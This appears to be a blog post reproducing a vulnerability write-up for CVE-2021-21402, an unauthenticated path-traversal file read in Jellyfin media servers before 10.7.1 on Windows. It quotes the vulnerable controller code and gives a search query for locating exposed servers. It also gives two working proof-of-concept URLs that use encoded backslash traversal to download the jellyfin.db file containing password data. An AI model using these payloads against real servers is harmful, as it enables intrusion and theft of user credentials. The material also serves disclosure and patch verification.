Post

Jellyfin Stream Mp3 Arbitrary File Reading Vulnerability Cve 2021 21402

Jellyfin Stream Mp3 Arbitrary File Reading Vulnerability Cve 2021 21402

Jellyfin stream.mp3 arbitrary file reading vulnerability CVE-2021-21402

Vulnerability Description

Jellyfin is a free software media system.

Vulnerability Impact

Jellyfin < 10.7.1

Network surveying and mapping

title=’Jellyfin’ || body=’https://jellyfin.media’

Vulnerability reappears

Both the /Audio/{Id}/hls/{segmentId}/stream.mp3 and /Audio/{Id}/hls/{segmentId}/stream.aac routes allow any file to be read on Windows.

Path.GetExtension(Request.Path)` returns an empty extension, resulting in full control over the path of the result file.

1
2
3
4
5
6
7
8
9
10
11
12
13
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
    // TODO: Deprecate with new iOS app
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}

Use the following request to read the database file with the password

https://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/

Another code is as follows

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
    [FromRoute, Required] string itemId,
    [FromRoute, Required] string playlistId,
    [FromRoute, Required] string segmentId,
    [FromRoute, Required] string segmentContainer)
{
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();

    file = Path.Combine(transcodeFolderPath, file); //[3]

    var normalizedPlaylistId = playlistId;

    var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
    // Add . to start of segment container for future use.
    segmentContainer = segmentContainer.Insert(0, ".");
    string? playlistPath = null;
    foreach (var path in filePaths)
    {
        var pathExtension = Path.GetExtension(path);
        if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
                || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
            && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
        {
            playlistPath = path;
            break;
        }
    }

    return playlistPath == null
        ? NotFound("Hls segment not found.")
        : GetFileResult(file, playlistPath);
}

The /Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer} route allows reading of any unauthenticated files on Windows.

The POC is as follows, download the same file

https://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db

</a-alert>

This post is licensed under CC BY 4.0 by the author.